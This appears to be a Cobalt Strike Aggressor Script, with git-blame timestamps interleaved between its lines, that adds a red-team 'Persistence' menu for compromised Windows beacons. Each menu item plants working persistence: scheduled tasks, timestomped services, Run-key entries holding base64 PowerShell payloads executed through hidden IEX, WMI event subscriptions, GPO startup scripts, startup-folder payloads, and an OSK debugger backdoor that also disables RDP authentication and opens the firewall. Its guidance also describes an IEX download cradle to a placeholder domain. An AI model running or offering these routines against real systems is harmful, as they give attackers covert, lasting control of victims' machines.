2017-05-09 19:22:49 +00:00
#Persistence Menu
2017-05-20 08:08:56 +00:00
#Author: @r3dQu1nn
2017-05-09 19:22:49 +00:00
#Beacon menu for common methods used for Persistence
popup beacon_top {
menu "&Red Team"{
2017-05-23 14:03:14 +00:00
#Persistence Menu
2017-05-09 19:22:49 +00:00
menu "&Persistence" {
item "&Schtasks Persistence" {
local('$bid');
foreach $bid ($1) {
persistUserSchtasks($bid);
}
}
item "&Service EXE Persistence" {
local('$bid');
foreach $bid ($1) {
if (-isadmin $bid) {
persistCustomService($bid);
}
else {
berror($1, "\c4Persistence Requires Admin Level Privileges");
}
}
}
item "&Registry Persistence" {
local('$bid');
foreach $bid ($1) {
persistRegistry($bid);
}
}
2017-07-12 13:59:20 +00:00
item "&HKCU Run Key Registry PowerShell Persistence" {
local('$bid');
foreach $bid ($1) {
2017-07-22 20:05:06 +00:00
persistRegistryHKCU($bid);
}
}
2017-08-13 17:35:34 +00:00
item "&HKLM Run Key Registry PowerShell Persistence" {
2017-07-22 20:05:06 +00:00
local('$bid');
foreach $bid ($1) {
persistRegistryHKLM($bid);
2017-07-12 13:59:20 +00:00
}
}
2017-05-22 19:50:07 +00:00
item "&WMI Event Persistence using PowerShell" {
2017-05-09 19:22:49 +00:00
local('$bid');
foreach $bid ($1) {
if (-isadmin $bid) {
persistwmievent($bid);
}
else {
berror($1, "\c4Persistence Requires Admin Level Privileges");
}
}
}
item "&WMI Event Persistence using WMIC" {
local('$bid');
foreach $bid ($1) {
if (-isadmin $bid) {
persistwmieventwmic($bid);
}
else {
berror($1, "\c4Persistence Requires Admin Level Privileges");
}
}
}
2017-05-24 16:12:18 +00:00
item "&Startup Script Local GPO Persistence" {
local('$bid');
foreach $bid ($1) {
if (-isadmin $bid) {
persistStartupGPO($bid);
}
else {
berror($1, "\c4Persistence Requires Admin Level Privileges");
}
}
}
2017-05-09 19:22:49 +00:00
item "&Stickykeys(OSK) BackDoor Persistence (Need RDP Open)" {
local('$bid');
foreach $bid ($1) {
stickykeys($bid);
}
}
item "&Windows Startup Persistence"{
local('$bid');
foreach $bid ($1) {
persistThroughStartUpFolder($bid);
}
}
}
}
}
#User Schtasks Persistence
2017-05-23 14:02:55 +00:00
#Author: @r3dQu1nn
2017-05-09 19:22:49 +00:00
#Runs as current user for the selected beacon
#Meant for quick user level persistence upon initial access
#Thanks to @noone and bluescreenofjeff for help
sub persistUserSchtasks {
$bid = $1;
$dialog = dialog("User Schtasks Persistence", %(taskname => "Evil Task Name..", targetpath => "Target Path..", user => "User to Run as..", schedule => "Schedule modifier..", payloadfile => "Select DLL Payload.."), lambda({
if ("$3['taskname']" ismatch 'Evil Task Name..' || "$3['targetpath']" ismatch 'Target Path..' || "$3['payloadfile']" ismatch 'Select DLL Payload..' || "$3['user']" ismatch 'User to Run as..' || "$3['schedule']" ismatch 'Schedule modifier..') {
berror($bid, "\c4Please enter a valid Task Name, Target Path, and a valid Payload File.");
break;
}
else {
bcd($bid, $3['targetpath']);
bupload($bid, $3['payloadfile']);
2018-02-09 19:33:05 +00:00
bpowerpick($bid, 'schtasks /create /tn "'.$3['taskname'].'" /tr "C:\Windows\System32\rundll32.exe '.$3['targetpath']."\\".split("/",$3['payloadfile'])[-1].',StartW" /ru "'.$3['user'].'" /sc "'.$3['schedule'].'"');
bpowerpick($bid, 'schtasks /query /v /tn "'.$3['taskname'].'" /FO list');
2017-05-09 19:22:49 +00:00
}
}));
dialog_description($dialog, "User Schtasks Persistence - Generates a schtask for persistence on selected beacon.");
drow_text($dialog, "taskname", "Schtasks Taskname:");
drow_text($dialog, "user", "User to Run as:");
drow_text($dialog, "targetpath", "Target Path:");
drow_text($dialog, "schedule", "Schedule Modifier:");
drow_file($dialog, "payloadfile", "DLL Payload:");
dbutton_action($dialog, "Create");
dialog_show($dialog);
}
#Admin Level Custom Service EXE Persistence
2017-05-23 14:02:55 +00:00
#Author: @r3dQu1nn
2017-05-09 19:22:49 +00:00
#Runs as elevated user/SYSTEM for the selected beacon
sub persistCustomService {
$bid = $1;
$dialog = dialog("Admin Level Custom Service EXE Persistence", %(servicename => "Custom Service Name..", display => "Display Name for Custom Service..", description => "Description for Custom Service..", targetpath => "Target Path..", payloadfile => "Select Payload.."), lambda({
if ("$3['servicename']" ismatch 'Custom Service Name..' || "$3['targetpath']" ismatch 'Target Path..' || "$3['display']" ismatch 'Display Name for Custom Service..' || "$3['description']" ismatch 'Description for Custom Service..' || "$3['payloadfile']" ismatch 'Select Payload..') {
berror($bid, "\c4Please enter a valid Custom Service Name, Target Path, Display Name, Description and Payload File.");
break;
}
else {
bcd($bid, $3['targetpath']);
bupload($bid, $3['payloadfile']);
btimestomp($bid, "$3['payloadfile']", "C:\\Windows\\System32\\cmd.exe");
2018-02-09 19:33:05 +00:00
bpowerpick($bid, 'sc delete '.$3['servicename'].'');
bpowerpick($bid, 'sc create '.$3['servicename'].' binpath= "'.$3['targetpath']."\\".split("/",$3['payloadfile'])[-1].'" error= ignore start= auto DisplayName= "'.$3['display'].'"');
bpowerpick($bid, 'sc description '.$3['servicename'].' "'.$3['description'].'"');
bpowerpick($bid, 'sc start '.$3['servicename'].'');
2017-05-09 19:22:49 +00:00
}
}));
dialog_description($dialog, "Generates a Custom Service for Admin Level persistence on selected beacon. **Only Service EXE Payloads should be used**");
drow_text($dialog, "servicename", "Custom Service Name:");
drow_text($dialog, "display", "Display Name for Custom Service:");
drow_text($dialog, "description", "Description for Custom Service:");
drow_text($dialog, "targetpath", "Target/Bin Path:");
drow_file($dialog, "payloadfile", "Payload:");
dbutton_action($dialog, "Create");
dialog_show($dialog);
}
2017-07-12 13:59:20 +00:00
#HKCU Run Key Registry PowerShell Persistence
#Author: @r3dQu1nn
#Generates a powershell Base64 Encoded payload as a HKCU Run Key Registry Entry for persistence on selected beacon based off a HTTP/HTTPS Listener
#Big thanks to @christruncer and @merrillmatt011 for the help and code snippets
#Fileless Registry Persistence using PowerShell
sub payloadgenerate {
foreach $name (listeners()) {
$original_listener = $name;
$listener_name = lc($name);
if ($listener_name hasmatch "http" || $listener_name hasmatch "https") {
$data = artifact($original_listener, "powershell");
return base64_encode($data);
}
}
}
2017-07-22 20:05:06 +00:00
sub persistRegistryHKCU {
2017-07-12 13:59:20 +00:00
$bid = $1;
$dialog = dialog("HKCU Run Key Registry PowerShell Persistence (User Level)", %(keyname => "Key Name for Payload..", keyname1 => "Key Name to execute Payload.."), lambda({
if ("$3['keyname']" ismatch 'Key Name for Payload..' || "$3['keyname1']" ismatch 'Key Name to execute Payload..') {
2017-07-12 14:04:10 +00:00
berror($bid, "\c4Please enter valid Registry Key Names.");
2017-07-12 13:59:20 +00:00
break;
}
else {
$data = payloadgenerate($bid);
$powershellcmd = "Set-ItemProperty -Path 'HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname']."' -Type String -Value \"".$data."\"";
2018-02-09 19:33:05 +00:00
bpowerpick!($bid, $powershellcmd);
2017-07-12 13:59:20 +00:00
blog($bid, "\cBSetting the first HKCU Run Key Value as '".$3['keyname']."'...");
2017-07-22 19:59:01 +00:00
$powershellcmd1 = "Set-ItemProperty -Path 'HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname1']."' -Value 'C:\\Windows\\SySWoW64\\WindowsPowerShell\\v1.0\\powershell.exe -w hidden -c (IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((gp HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run ".$3['keyname'].").".$3['keyname']."))))'";
2018-02-09 19:33:05 +00:00
bpowerpick!($bid, $powershellcmd1);
2017-07-12 13:59:20 +00:00
blog($bid, "\cBSetting the second HKCU Run Key Value as '".$3['keyname1']."'...");
blog($bid, "\cBDisplaying both Run Keys to Verify everything worked as intended...");
$powershellcmd2 = "Get-ItemProperty -Path 'HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname']."'";
2018-02-09 19:33:05 +00:00
bpowerpick!($bid, $powershellcmd2);
2017-07-12 13:59:20 +00:00
$powershellcmd3 = "Get-ItemProperty -Path 'HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname1']."'";
2018-02-09 19:33:05 +00:00
bpowerpick!($bid, $powershellcmd3);
2017-07-12 13:59:20 +00:00
}
}));
dialog_description($dialog, "HKCU Run Key Registry PowerShell Persistence - Generates a powershell Base64 Encoded payload as a HKCU Run Key Registry Entry for persistence on selected beacon.");
drow_text($dialog, "keyname", "Registry Key Name for Payload:");
drow_text($dialog, "keyname1", "Registry Key Name to execute Payload:");
dbutton_action($dialog, "Create");
dialog_show($dialog);
}
2017-07-22 20:05:06 +00:00
#HKLM Run Key Registry PowerShell Persistence
#Author: @r3dQu1nn
#Generates a powershell Base64 Encoded payload as a HKLM Run Key Registry Entry for persistence on selected beacon based off a HTTP/HTTPS Listener
sub payloadgenerate1 {
foreach $name (listeners()) {
$original_listener = $name;
$listener_name = lc($name);
if ($listener_name hasmatch "http" || $listener_name hasmatch "https") {
$data = artifact($original_listener, "powershell");
return base64_encode($data);
}
}
}
sub persistRegistryHKLM {
$bid = $1;
$dialog = dialog("HKLM Run Key Registry PowerShell Persistence (User Level)", %(keyname => "Key Name for Payload..", keyname1 => "Key Name to execute Payload.."), lambda({
if ("$3['keyname']" ismatch 'Key Name for Payload..' || "$3['keyname1']" ismatch 'Key Name to execute Payload..') {
berror($bid, "\c4Please enter a valid Registry Key Names, Payload, and a valid Path location.");
break;
}
else {
$data = payloadgenerate1($bid);
$powershellcmd = "Set-ItemProperty -Path 'HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname']."' -Type String -Value \"".$data."\"";
2018-02-09 19:33:05 +00:00
bpowerpick!($bid, $powershellcmd);
2017-07-22 20:05:06 +00:00
blog($bid, "\cBSetting the first HKLM Run Key Value as '".$3['keyname']."'...");
$powershellcmd1 = "Set-ItemProperty -Path 'HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname1']."' -Value 'C:\\Windows\\SySWoW64\\WindowsPowerShell\\v1.0\\powershell.exe -w hidden -c (IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((gp HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run ".$3['keyname'].").".$3['keyname']."))))'";
2018-02-09 19:33:05 +00:00
bpowerpick!($bid, $powershellcmd1);
2017-07-22 20:05:06 +00:00
blog($bid, "\cBSetting the second HKLM Run Key Value as '".$3['keyname1']."'...");
blog($bid, "\cBDisplaying both Run Keys to Verify everything worked as intended...");
$powershellcmd2 = "Get-ItemProperty -Path 'HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname']."'";
2018-02-09 19:33:05 +00:00
bpowerpick!($bid, $powershellcmd2);
2017-07-22 20:05:06 +00:00
$powershellcmd3 = "Get-ItemProperty -Path 'HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname1']."'";
2018-02-09 19:33:05 +00:00
bpowerpick!($bid, $powershellcmd3);
2017-07-22 20:05:06 +00:00
}
}));
dialog_description($dialog, "HKLM Run Key Registry PowerShell Persistence - Generates a powershell Base64 Encoded payload as a HKLM Run Key Registry Entry for persistence on selected beacon.");
drow_text($dialog, "keyname", "Registry Key Name for Payload:");
drow_text($dialog, "keyname1", "Registry Key Name to execute Payload:");
dbutton_action($dialog, "Create");
dialog_show($dialog);
}
2017-05-09 19:22:49 +00:00
#Registry Persistence
2017-05-23 14:02:55 +00:00
#Author: @r3dQu1nn
2017-05-09 19:22:49 +00:00
#Depending on Registry Location elevated access might be required
sub persistRegistry {
$bid = $1;
$dialog = dialog("Registry Persistence", %(reglocation => "Registry Location..", keyname => "Key Name..", datatype => "Data Type..(REG_SZ)", keyvalue => "Key Value..(Payload)"), lambda({
if ("$3['reglocation']" ismatch 'Registry Location..' || "$3['keyname']" ismatch 'Key Name..' || "$3['datatype']" ismatch 'Data Type..(REG_SZ)' || "$3['keyvalue']" ismatch 'Key Value..(Payload)') {
berror($bid, "\c4Please enter a valid Registry Location, Key Name, Key Type, and a valid Payload Location.");
break;
}
else {
2018-02-09 19:33:05 +00:00
bpowerpick($bid, 'reg add "'.$3['reglocation'].'" /v "'.$3['keyname'].'" /t "'.$3['datatype'].'" /d "'.$3['keyvalue'].'" /f');
bpowerpick($bid, 'reg query "'.$3['reglocation'].'"');
2017-05-09 19:22:49 +00:00
}
}));
dialog_description($dialog, "Registry Persistence - Creates a custom Registry Entry for persistence on selected beacon. **HKLM\\ could require elevated access.");
drow_text($dialog, "reglocation", "Registry Location:");
drow_text($dialog, "keyname", "Registry Key Name:");
drow_text($dialog, "datatype", "Registry Key Type:");
drow_text($dialog, "keyvalue", "Registry Key Value..(Payload Location):");
dbutton_action($dialog, "Create");
dialog_show($dialog);
}
#Permanent WMI Event using WMIC Persistence
2017-05-23 14:02:55 +00:00
#Author: @r3dQu1nn
2017-05-09 19:22:49 +00:00
#Generates a Custom WMI Event using WMIC for SYSTEM Level persistence on selected beacon
#Very syntax heavy, Test first before using on live targets
sub persistwmieventwmic {
$bid = $1;
$dialog = dialog("Permanent WMI Event using WMIC Persistence", %(eventfilter => "__EventFilter Name..", eventquery => "Event Query...(Win32 Classes)", eventconsumer => "CommandLineEventConsumer Name..(Must be different from __EventFilter Name)", commandline => "CommandLineTemplate Syntax..(powershell.exe -w hidden -enc)", payloadfile => "Encoded Payload String.."), lambda({
if ("$3['eventfilter']" ismatch '__EventFilter Name..' || "$3['eventquery']" ismatch 'Event Query...(Win32 Classes)' || "$3['eventconsumer']" ismatch 'CommandLineEventConsumer Name..(Must be different from __EventFilter Name)' || "$3['commandline']" ismatch 'CommandLineTemplate Syntax..(powershell.exe -w hidden)' || "$3['payloadfile']" ismatch 'Select Encoded Payload..') {
berror($bid, "\c4Please enter a valid Custom __EventFilter Name, Event Query, CommandLineEventConsumer Name, Command Line Options, and the Encoded Payload File.");
break;
}
else {
2018-02-09 19:33:05 +00:00
bpowerpick($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH __EventFilter CREATE Name="'.$3['eventfilter'].'", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="'.$3['eventquery'].'"');
bpowerpick($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH CommandLineEventConsumer CREATE Name="'.$3['eventconsumer'].'", CommandLineTemplate="'.$3['commandline']." ".split("/",$3['payloadfile'])[-1].'"');
bpowerpick($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"'.$3['eventfilter'].'\"", Consumer="CommandLineEventConsumer.Name=\"'.$3['eventconsumer'].'\""');
bpowerpick($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list');
bpowerpick($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list');
bpowerpick($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list');
2017-05-09 19:22:49 +00:00
}
}));
dialog_description($dialog, "Generates a Custom WMI Event using WMIC for SYSTEM Level persistence on selected beacon. **Syntax is heavy, Test before using on live targets. Encoded Payload must include IEX ((new-object new.webclient).downloadstring(http://yourdomain/payload.txt)) Utilize the following command to encode the payload correctly: cat payload.txt | iconv --to-code=UTF-16LE | base64** ");
#base 64 encode IEX of the powershell one liner
#cat payload.txt | iconv --to-code=UTF-16LE | base64
drow_text($dialog, "eventfilter", "Custom __EventFilter Name:");
drow_text($dialog, "eventquery", "Custom Event Query:");
drow_text($dialog, "eventconsumer", "Custom CommandLineEventConsumer Name:");
drow_text($dialog, "commandline", "Custom Command Line Options:");
drow_text($dialog, "payloadfile", "Custom Encoded Payload String:");
dbutton_action($dialog, "Create");
dialog_show($dialog);
}
2017-05-23 14:02:55 +00:00
#Permanent WMI Event using PowerShell Persistence
#Author: @r3dQu1nn
#Generates a Custom WMI Event using PowerShell for SYSTEM Level persistence on selected beacon
#Very syntax heavy, Test first before using on live targets
2017-08-13 17:35:34 +00:00
#Sample Queries:
## User Logon:
#SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2
## System UpTime (Reboot):
#SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320
#https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
2017-05-23 14:02:55 +00:00
2017-05-22 19:50:07 +00:00
sub persistwmievent {
$bid = $1;
if (-is64 $bid) {
$ExePath = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -enc";
}
else {
$ExePath = "C:\\Windows\\powershell.exe -nop -w hidden -enc";
}
$dialog = dialog("Permanent WMI Event Persistence with PowerShell", %(eventfilter => "__EventFilter Name..", eventquery => "Event Query...(Win32 Classes)", payloadstring => "Encoded Payload String.."), lambda({
if ("$3['eventfilter']" ismatch '__EventFilter Name..' || "$3['eventquery']" ismatch 'Event Query...(Win32 Classes)' || "$3['payloadstring']" ismatch 'Encoded Payload String..') {
berror($bid, "\c4Please enter a valid __EventFilter Name, Event Query, and an Encoded Payload String.");
break;
}
else {
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name=\"".$3['eventfilter']."\";EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"".$3['eventquery']."\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name=\"".$3['eventfilter']."\";CommandLineTemplate =\"". $ExePath ." ".$3['payloadstring']."\"};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
2018-02-09 19:33:05 +00:00
bpowerpick!($bid, $powershellcmd);
2017-05-22 19:50:07 +00:00
blog($bid, 'Permanently Storing '.$3['eventfilter'].' in root\CimV2..');
2018-02-09 19:33:05 +00:00
bpowerpick($bid, 'Get-WmiObject __eventFilter -namespace root\subscription -filter "name=\''.$3['eventfilter'].'\'"');
bpowerpick($bid, 'Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name=\''.$3['eventfilter'].'\'"');
2017-05-22 19:50:07 +00:00
}
}));
dialog_description($dialog, "Generates a Custom WMI Event using PowerShell for SYSTEM Level persistence on selected beacon. **Syntax is heavy, Test before using on live targets. Encoded Payload String must be converted to UTF-16LE, base64 encoded and under 1MB.**");
drow_text($dialog, "eventfilter", "Custom __EventFilter Name:");
drow_text($dialog, "eventquery", "Custom Event Query:");
drow_text($dialog, "payloadstring", "Custom Encoded Payload String:");
dbutton_action($dialog, "Create");
dialog_show($dialog);
}
2017-05-24 16:12:18 +00:00
#Startup Script Local GPO Persistence
#Author: @r3dQu1nn
#Generates a Local GPO Entry in psscripts.ini to call a .ps1 script file for persistence on selected beacon
2017-05-24 16:12:53 +00:00
#Calls back as SYSTEM
2017-05-24 16:12:18 +00:00
#**Check permissions with GPO Enumeration (Successful GroupPolicy Directory Listing) first before executing**
2017-05-24 19:57:50 +00:00
#**Beacon execution will cause winlogon.exe to hang and the end user can't login. Once the new beacon checks in inject into another process and kill the original. Update to come out soon.**
2017-05-24 16:12:18 +00:00
#https://cybersyndicates.com/2016/01/system-context-persistence-in-gpo-startup/
sub persistStartupGPO {
$bid = $1;
$dialog = dialog("Startup Script Local GPO Persistence", %(scriptfile => "Select PS1 Script File.."), lambda({
if ("$3['scriptfile']" ismatch 'Select PS1 Script File..') {
berror($bid, "\c4Please enter a valid Script Path, and .ps1 Script File.");
break;
}
else {
bcd($bid, "C:\\");
bupload($bid, $3['scriptfile']);
$handle = openf(">psscripts.ini");
writeb($handle, "[ScriptsConfig]\nStartExecutePSFirst=true\n[Startup]\n0CmdLine=".split("/",$3['scriptfile'])[-1]."\n0Parameters=");
closef($handle);
2018-02-09 19:33:05 +00:00
bpowerpick($bid, 'Move-Item -force -path C:\\'.split("/",$3['scriptfile'])[-1].' -destination C:\\Windows\\System32\\GroupPolicy\\Machine\\Scripts\\Startup\\');
2017-05-24 16:12:18 +00:00
bupload($bid, script_resource("psscripts.ini"));
2018-02-09 19:33:05 +00:00
bpowerpick($bid, 'Remove-Item -Force C:\\Windows\\System32\\GroupPolicy\\Machine\\Scripts\\psscripts.ini');
bpowerpick($bid, 'Move-Item -force -path C:\\psscripts.ini -destination C:\\Windows\\System32\\GroupPolicy\\Machine\\Scripts\\');
bpowerpick($bid, 'gpupdate /force');
2017-05-24 16:12:18 +00:00
}
}));
dialog_description($dialog, "Startup Script Local GPO Persistence - Generates a Local GPO Entry in psscripts.ini to call a .ps1 script file for persistence on selected beacon. **Check permissions with GPO Enumeration (Successful GroupPolicy Directory Listing) first before executing**");
drow_file($dialog, "scriptfile", ".ps1 Script File:");
dbutton_action($dialog, "Create");
dialog_show($dialog);
}
2017-05-09 19:22:49 +00:00
sub stickykeys {
2018-02-09 19:33:05 +00:00
bpowerpick($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
bpowerpick($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"');
bpowerpick($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
bpowerpick($1, 'netsh firewall set service type = remotedesktop mode = enable');
bpowerpick($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
bpowerpick($1, 'net start TermService');
2017-05-09 19:22:49 +00:00
}
sub persistThroughStartUpFolder {
$bid = $1;
$dialog = dialog("Start Up Folder Persistence", %(startup => "Startup Directory Folder..", payload => "Select Payload.."), lambda({
if ("$3['startup']" ismatch 'Startup Directory Folder..' || "$3['payload']" ismatch 'Select Payload..') {
2017-07-12 14:08:50 +00:00
berror($bid, "\c4Please enter a valid Startup Directory Folder, and select a Payload.");
2017-05-09 19:22:49 +00:00
break;
}
else {
2018-02-09 19:33:05 +00:00
bpowerpick($bid, 'cd "'.$3['startup'].'"');
2017-05-09 19:22:49 +00:00
bupload($bid, $3['payload']);
btimestomp($bid, "$3['payload']", "c:\\windows\\system32\\calc.exe");
}
}));
dialog_description($dialog, "Start Up Folder Persistence - Generates a Startup Folder Entry and places a payload inside that folder. **Windows NT 6.0-10.0/All Users Location - %SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup | Windows NT 6.0-10.0/Current User Location %SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup");
drow_text($dialog, "startup", "StartUp Directory Folder Location:");
2017-07-12 14:08:50 +00:00
drow_file($dialog, "payload", "Select Payload:");
2017-05-09 19:22:49 +00:00
dbutton_action($dialog, "Create");
dialog_show($dialog);
2017-05-09 19:35:19 +00:00
}
